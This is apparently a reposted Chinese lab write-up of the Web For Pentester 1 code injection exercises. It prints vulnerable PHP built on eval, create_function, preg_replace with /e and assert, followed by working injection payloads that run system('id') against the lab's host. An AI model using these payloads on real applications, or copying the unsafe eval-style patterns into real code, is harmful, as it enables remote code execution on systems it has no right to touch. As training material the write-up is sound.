Web For Pentester1 - Code injection

Posted APT-101

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Web For Pentester1 - Code injection相关的知识,希望对你有一定的参考价值。

Example 1

源码:

<?php require_once("../header.php"); ?>

<?php
$str="echo \\"Hello ".$_GET[\'name\']."!!!\\";";

eval($str);
?>
<?php require_once("../footer.php"); ?>

解释:name 参数通过 GET 方式传递,然后没有任何过滤,最终直接被 eval 函数解析,这样当用户 name 传递非法字符的时候,就会产生代码注入,但是注入前我们需要闭合好原来的语句

payload:

\'";system(\'id\');//

http://10.10.202.152/codeexec/example1.php?name=%27%22;system(%27id%27);//

# 使用 . 拼接字符串 闭合后面双引号
name=hacker".system(\'id\');$a="
# 使用 . 拼接字符串 注释掉后面双引号
name=hacker".system(\'id\');//
# 使用 ${${code}} 直接插入代码
name=${${system(\'id\')}}

 

Example 2

源码:

<?php require_once("../header.php") ?>
<?php
class User{
public $id, $name, $age;
function __construct($id, $name, $age){
$this->name= $name;
$this->age = $age;
$this->id = $id;
}
}
require_once(\'../header.php\');
require_once(\'../sqli/db.php\');
$sql = "SELECT * FROM users ";

$order = $_GET["order"];
$result = mysql_query($sql);
if ($result) {
while ($row = mysql_fetch_assoc($result)) {
$users[] = new User($row[\'id\'],$row[\'name\'],$row[\'age\']);
}
if (isset($order)) {
usort($users, create_function(\'$a, $b\', \'return strcmp($a->\'.$order.\',$b->\'.$order.\');\'));
}
}

?>
<table class=\'table table-striped\' >
<tr>
<th><a href="example2.php?order=id">id</th>
<th><a href="example2.php?order=name">name</th>
<th><a href="example2.php?order=age">age</th>
</tr>
<?php

foreach ($users as $user) {
echo "<tr>";
echo "<td>".$user->id."</td>";
echo "<td>".$user->name."</td>";
echo "<td>".$user->age."</td>";
echo "</tr>";
}
echo "</table>";
require \'../footer.php\';
?>

解释:

usort($users, create_function(\'$a, $b\', \'return strcmp($a->\'.$order.\',$b->\'.$order.\');\')); 

用户自定义的比较函数对数组中的元素进行排序

usort(array,myfunction);

这里面 order 变量 $order = $_GET["order"]; 是通过 GET 方式传递,唯一可控的,这里我们来尝试闭合掉这个 create_function 来进行代码注入

id);}system(\'id\');//

return strcmp($a->id);}phpinfo();//,$b->id);}system(\'id\');//);

payload:

http://10.10.202.152/codeexec/example2.php?order=id);}system(\'id\');//

 

 

Example 3

源码:

<?php require_once("../header.php"); ?>
<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);

?>

<?php require_once("../footer.php"); ?>

解释:

<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>
preg_replace()
执行一个正则表达式的搜索和替换

preg_replace($pattern ,$replacement,$subject [,int $limit = -1 [,int &$count ]])
参数 说明
$pattern 要搜索的模式,可以是字符串或一个字符串数组
$replacement 用于替换的字符串或字符串数组
$subject 要搜索替换的目标字符串或字符串数组
$limit 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)
$count 可选,为替换执行的次数

版本 说明
7.0.0 不再支持 /e修饰符。 请用 preg_replace_callback() 代替
5.5.0 /e 修饰符已经被弃用了。使用 preg_replace_callback() 代替。
5.1.0 增加参数count
$pattern 在 /e 模式下会将新输入 $replacement参数的值当成 PHP 代码执行

payload:

new=system(\'id\')&pattern=/lamer/e&base=Hello lamer

 

Example 4

源码:

<?php
require_once("../header.php");
// ensure name is not empty
assert(trim("\'".$_GET[\'name\']."\'"));
echo "Hello ".htmlentities($_GET[\'name\']);
require_once("../footer.php");
?>

解释:

函数trim
移除字符串两侧的空白字符或其他预定义字符。
trim(string,charlist)
参数 说明
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符:
“\\0” - NULL
“\\t” - 制表符
“\\n” - 换行
“\\x0B” - 垂直制表符
“\\r” - 回车
“ “ - 空格
assert 在 PHP 5 的版本中也是可以执行代码的,思路和 Example 1 那样,闭合语句导致代码执行

payload: 

# 闭合前面单引号 注释掉后面单引号
/codeexec/example4.php?name=hacker\'.system(\'id\');//
# 闭合前后单引号
/codeexec/example4.php?name=hacker\'.system(\'id\').\'
# ${${code}} 直接插入代码
/codeexec/example4.php?name=hacker\'.${${system(\'id\')}}.\'

 

OVER!

 

以上是关于Web For Pentester1 - Code injection的主要内容,如果未能解决你的问题,请参考以下文章

Web For Pentester1 -Directory traversal

Web For Pentester1 - Commands injection

Web For Pentester1 -File Include

Web For Pentester1 - LDAP attacks ,File Upload,XML attacks

Professional JavaScript for Web Developers 3rd Edition ---读书笔记

使用 Code Snippet 简化 Coding